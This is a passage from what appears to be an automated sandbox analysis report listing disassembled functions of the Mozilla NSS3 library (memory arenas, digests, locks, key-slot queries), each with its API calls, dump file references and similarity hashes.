PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6C659C5B), ref: 6C659E91

Part of subcall function 6C69C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C69C2BF

Part of subcall function 6C651560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6C64FAAB,00000000), ref: 6C65157E
Part of subcall function 6C651560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C64FAAB,00000000), ref: 6C651592
Part of subcall function 6C651560: memset.VCRUNTIME140(?,00000000,?), ref: 6C651600
Part of subcall function 6C651560: PL_ArenaRelease.NSS3(?,?), ref: 6C651620
Part of subcall function 6C651560: PR_Unlock.NSS3(?), ref: 6C651639

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: 9c4d29a3547baa516ac6def266e9a216c44cfe84cd05ed8783ea4d07dea75fb4
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: 6741A2B4601606AFE740DF15D850B92BBA1FF4535CFA48128D9184BFA0EB72E836CF94

Function 6C61DDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C61DDEC

Part of subcall function 6C650840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6508B4

PK11_DigestBegin.NSS3(00000000), ref: 6C61DE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6C61DE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6C61DE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6C61DEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C61DEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C61DECC

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: 168851dcba504657ae285994cf4ba9d8e5f31d95f53f3e2f9dce77ecc8468412
Instruction ID: dea92baf2fb3a59a6be0d6fb1d5004dd9efd5d082a2bf4edc41edbb98c30bcc7
Opcode Fuzzy Hash: 168851dcba504657ae285994cf4ba9d8e5f31d95f53f3e2f9dce77ecc8468412
Instruction Fuzzy Hash: 9231E9B2E042146BDB01AE2CAC40BBB76B8DF5570AF050135ED09A7B41FB31D915C6EA

Function 6C5F7E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C5F7E48

Part of subcall function 6C650FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5F87ED,00000800,6C5EEF74,00000000), ref: 6C651000
Part of subcall function 6C650FF0: PR_NewLock.NSS3(?,00000800,6C5EEF74,00000000), ref: 6C651016
Part of subcall function 6C650FF0: PL_InitArenaPool.NSS3(00000000,security,6C5F87ED,00000008,?,00000800,6C5EEF74,00000000), ref: 6C65102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6C5F7E5B

Part of subcall function 6C6510C0: TlsGetValue.KERNEL32(?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C6510F3
Part of subcall function 6C6510C0: EnterCriticalSection.KERNEL32(?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C65110C
Part of subcall function 6C6510C0: PL_ArenaAllocate.NSS3(?,?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C651141
Part of subcall function 6C6510C0: PR_Unlock.NSS3(?,?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C651182
Part of subcall function 6C6510C0: TlsGetValue.KERNEL32(?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C65119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C5F7E7B

Part of subcall function 6C64FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C648D2D,?,00000000,?), ref: 6C64FB85
Part of subcall function 6C64FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C64FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C71925C,?), ref: 6C5F7E92

Part of subcall function 6C64B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7218D0,?), ref: 6C64B095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C5F7EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C5F7ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C5F7EFA

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: 3ed54e01a56c196a5d8c4e4f8ac330273e937ae1f9f742245ac46db480ac2f0d
Instruction ID: 2842cd2377dc423d31423465616aa50e6a9810697345569a5b4c94a42ef028dc
Opcode Fuzzy Hash: 3ed54e01a56c196a5d8c4e4f8ac330273e937ae1f9f742245ac46db480ac2f0d
Instruction Fuzzy Hash: C231D1B2E002119BFB04CB789C40B5B77E8AF45298F194825ED25EBB01F730EC19CBA4

Function 6C64DC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6C64D9E4,00000000), ref: 6C64DC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6C64D9E4,00000000), ref: 6C64DC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6C64D9E4,00000000), ref: 6C64DC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C64DC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C64DCAD

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: 3247f853fa42f3fac54108dbbab0479ce1a0f59f98dc722a6596b9c92a8b03d9
Instruction ID: ea63ed8f6338ffdeb4929af7082e3b124648530d4620d74a3f4433a5d2fccf12
Opcode Fuzzy Hash: 3247f853fa42f3fac54108dbbab0479ce1a0f59f98dc722a6596b9c92a8b03d9
Instruction Fuzzy Hash: DC315AB5A00201DFE750CF19D884B96B7F8AF05358F24C469E948CBB41E7B2E954CBA9

Function 6C612E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6C60E728,?,00000038,?,?,00000000), ref: 6C612E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C612E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C612E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6C612E8F
PL_HashTableLookup.NSS3(?,?), ref: 6C612E9E
PR_Unlock.NSS3(?), ref: 6C612EAB
PR_Unlock.NSS3(?), ref: 6C612F0D

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 9d992e39bebda14b16ea19f72e45f6af12b0168aeede91b860b127f50d1c1953
Instruction ID: a5c1187e20a1b837e6393bdff0824d7ce3c1017979c7cfe7df74e1af854cd1e9
Opcode Fuzzy Hash: 9d992e39bebda14b16ea19f72e45f6af12b0168aeede91b860b127f50d1c1953
Instruction Fuzzy Hash: 5C31D6B5A04505AFEB00AF68DC448A6B779FF4A35AB048175EC08C7B11EB31DC64C7D5

Function 6C631EA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,S&cl,6C616295,?,00000000,?,00000001,S&cl,?), ref: 6C631ECB

Part of subcall function 6C69C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C69C2BF

TlsGetValue.KERNEL32(?,00000001,?,S&cl,6C616295,?,00000000,?,00000001,S&cl,?), ref: 6C631EF1
EnterCriticalSection.KERNEL32(?), ref: 6C631F01
PR_SetError.NSS3(00000000,00000000), ref: 6C631F39

Part of subcall function 6C63FE20: TlsGetValue.KERNEL32(6C615ADC,?,00000000,00000001,?,?,00000000,?,6C60BA55,?,?), ref: 6C63FE4B
Part of subcall function 6C63FE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C63FE5F

PR_Unlock.NSS3(?), ref: 6C631F67

Strings

S&cl, xrefs: 6C631EA0

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID: S&cl
API String ID: 704537481-3471331349
Opcode ID: 7ef4b517d0a75db86cc6472009d38183031b96c8808f246e0d7542c5c654938d
Instruction ID: 7620a1fa4f64dd3c9c8ccba175dac2a4db8a58046620e70bf5b6cfbd280c9ace
Opcode Fuzzy Hash: 7ef4b517d0a75db86cc6472009d38183031b96c8808f246e0d7542c5c654938d
Instruction Fuzzy Hash: 83215A71A04124ABDB00AF29DC44E9B37A9EF82369F146069FC0C87751EB31D954C7D9

Function 6C65CEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C65CD93,?), ref: 6C65CEEE

Part of subcall function 6C6514C0: TlsGetValue.KERNEL32 ref: 6C6514E0
Part of subcall function 6C6514C0: EnterCriticalSection.KERNEL32 ref: 6C6514F5
Part of subcall function 6C6514C0: PR_Unlock.NSS3 ref: 6C65150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C65CD93,?), ref: 6C65CEFC

Part of subcall function 6C6510C0: TlsGetValue.KERNEL32(?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C6510F3
Part of subcall function 6C6510C0: EnterCriticalSection.KERNEL32(?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C65110C
Part of subcall function 6C6510C0: PL_ArenaAllocate.NSS3(?,?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C651141
Part of subcall function 6C6510C0: PR_Unlock.NSS3(?,?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C651182
Part of subcall function 6C6510C0: TlsGetValue.KERNEL32(?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C65119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C65CD93,?), ref: 6C65CF0B

Part of subcall function 6C650840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6508B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C65CD93,?), ref: 6C65CF1D

Part of subcall function 6C64FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C648D2D,?,00000000,?), ref: 6C64FB85
Part of subcall function 6C64FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C64FBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C65CD93,?), ref: 6C65CF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C65CD93,?), ref: 6C65CF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6C65CD93,?,?,?,?,?,?,?,?,?,?,?,6C65CD93,?), ref: 6C65CF78

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 7fe6a5ca66670dac718b61de2accc4082efc326b7581a601f9af184e86140249
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: CF11E7B1E002046BFB00AE667C41B7BB5EC9F4964DF604039EC0AD7741FB61D92886FA

Function 6C608C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C608C1B
EnterCriticalSection.KERNEL32 ref: 6C608C34
PL_ArenaAllocate.NSS3 ref: 6C608C65
PR_Unlock.NSS3 ref: 6C608C9C
PR_Unlock.NSS3 ref: 6C608CB6

Part of subcall function 6C69DD70: TlsGetValue.KERNEL32 ref: 6C69DD8C
Part of subcall function 6C69DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C69DDB4

Strings

KRAM, xrefs: 6C608C8F

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 829fdc463c66969cc5bd6bab00795c51982d8f57509b2dca22995456a70ac485
Instruction ID: 102eaf543deadcc987f64140bbced36618ca1abf7d3dec3b0e916ee672483f4d
Opcode Fuzzy Hash: 829fdc463c66969cc5bd6bab00795c51982d8f57509b2dca22995456a70ac485
Instruction Fuzzy Hash: 5C217FB1A056018FD704EF78C584569BBF4FF49308F05896ED8889B721EB35D889CB9A

Function 6C618E80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6C632E62,?,?,?,?,?,?,?,00000000,?,?,?,6C604F1C), ref: 6C618EA2

Part of subcall function 6C63F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C63F854
Part of subcall function 6C63F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C63F868
Part of subcall function 6C63F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C63F882
Part of subcall function 6C63F820: free.MOZGLUE(04C483FF,?,?), ref: 6C63F889
Part of subcall function 6C63F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C63F8A4
Part of subcall function 6C63F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C63F8AB
Part of subcall function 6C63F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C63F8C9
Part of subcall function 6C63F820: free.MOZGLUE(280F10EC,?,?), ref: 6C63F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6C632E62,?,?,?,?,?,?,?,00000000,?,?,?,6C604F1C), ref: 6C618EC3
TlsGetValue.KERNEL32(?,?,?,6C632E62,?,?,?,?,?,?,?,00000000,?,?,?,6C604F1C), ref: 6C618EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6C632E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6C618EF1
PR_Unlock.NSS3 ref: 6C618F20

Strings

b.cl, xrefs: 6C618E96, 6C618F25

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID: b.cl
API String ID: 1978757487-2288819817
Opcode ID: 33336d7b7cdeaa2d7ed7f5855034bf5ab348d050590259853f54cc2ef78b624a
Instruction ID: 8051d5c74b6ad561405ffd9db1d8a625a47c05c4058cfda4126e68a64a2ce2c9
Opcode Fuzzy Hash: 33336d7b7cdeaa2d7ed7f5855034bf5ab348d050590259853f54cc2ef78b624a
Instruction Fuzzy Hash: FA219FB09097059FCB00AF29C584199BBF0FF49359F42856EEC989BB51DB30E854CBDA

Function 6C683E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6C685B40: PR_GetIdentitiesLayer.NSS3 ref: 6C685B56

PR_EnterMonitor.NSS3(?), ref: 6C683E45

Part of subcall function 6C6B9090: TlsGetValue.KERNEL32 ref: 6C6B90AB
Part of subcall function 6C6B9090: TlsGetValue.KERNEL32 ref: 6C6B90C9
Part of subcall function 6C6B9090: EnterCriticalSection.KERNEL32 ref: 6C6B90E5
Part of subcall function 6C6B9090: TlsGetValue.KERNEL32 ref: 6C6B9116
Part of subcall function 6C6B9090: LeaveCriticalSection.KERNEL32 ref: 6C6B913F

PR_EnterMonitor.NSS3(?), ref: 6C683E5C
PR_EnterMonitor.NSS3(?), ref: 6C683E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C683EA6

Part of subcall function 6C69C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C69C2BF

PR_ExitMonitor.NSS3(?), ref: 6C683EC0
PR_ExitMonitor.NSS3(?), ref: 6C683ED7
PR_ExitMonitor.NSS3(?), ref: 6C683EEE

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: 8085ac9539c739f6b74c06ff774c95f0d29af0b0adb52a739106d085de71bb84
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: D211EB71512600ABD7315E29FC06BC7B7B1DF5230CF000835E60A96A21E636E42AC77E

Function 6C702C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C702CA0
PR_ExitMonitor.NSS3 ref: 6C702CBE
calloc.MOZGLUE(00000001,00000014), ref: 6C702CD1
strdup.MOZGLUE(?), ref: 6C702CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6C702D27

Strings

Loaded library %s (static lib), xrefs: 6C702D22

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 1bca6b33f849473fe585488080b3033ee2938724b4f432afd1bab0a80ef053f2
Instruction ID: 636c8db0a140b7354f80b5222f97659280b76b9a541b3bfbaf7a9db3fd6e56af
Opcode Fuzzy Hash: 1bca6b33f849473fe585488080b3033ee2938724b4f432afd1bab0a80ef053f2
Instruction Fuzzy Hash: 1C1190F27012109BEB009F15D959A6677B8EB4631EF94853ED80987B41DF31DC08CBA1

Function 6C5FBDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C5FBDCA

Part of subcall function 6C650FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5F87ED,00000800,6C5EEF74,00000000), ref: 6C651000
Part of subcall function 6C650FF0: PR_NewLock.NSS3(?,00000800,6C5EEF74,00000000), ref: 6C651016
Part of subcall function 6C650FF0: PL_InitArenaPool.NSS3(00000000,security,6C5F87ED,00000008,?,00000800,6C5EEF74,00000000), ref: 6C65102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C5FBDDB

Part of subcall function 6C6510C0: TlsGetValue.KERNEL32(?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C6510F3
Part of subcall function 6C6510C0: EnterCriticalSection.KERNEL32(?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C65110C
Part of subcall function 6C6510C0: PL_ArenaAllocate.NSS3(?,?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C651141
Part of subcall function 6C6510C0: PR_Unlock.NSS3(?,?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C651182
Part of subcall function 6C6510C0: TlsGetValue.KERNEL32(?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C65119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C5FBDEC

Part of subcall function 6C6510C0: PL_ArenaAllocate.NSS3(?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C65116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6C5FBE03

Part of subcall function 6C64FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C648D2D,?,00000000,?), ref: 6C64FB85
Part of subcall function 6C64FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C64FBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5FBE22
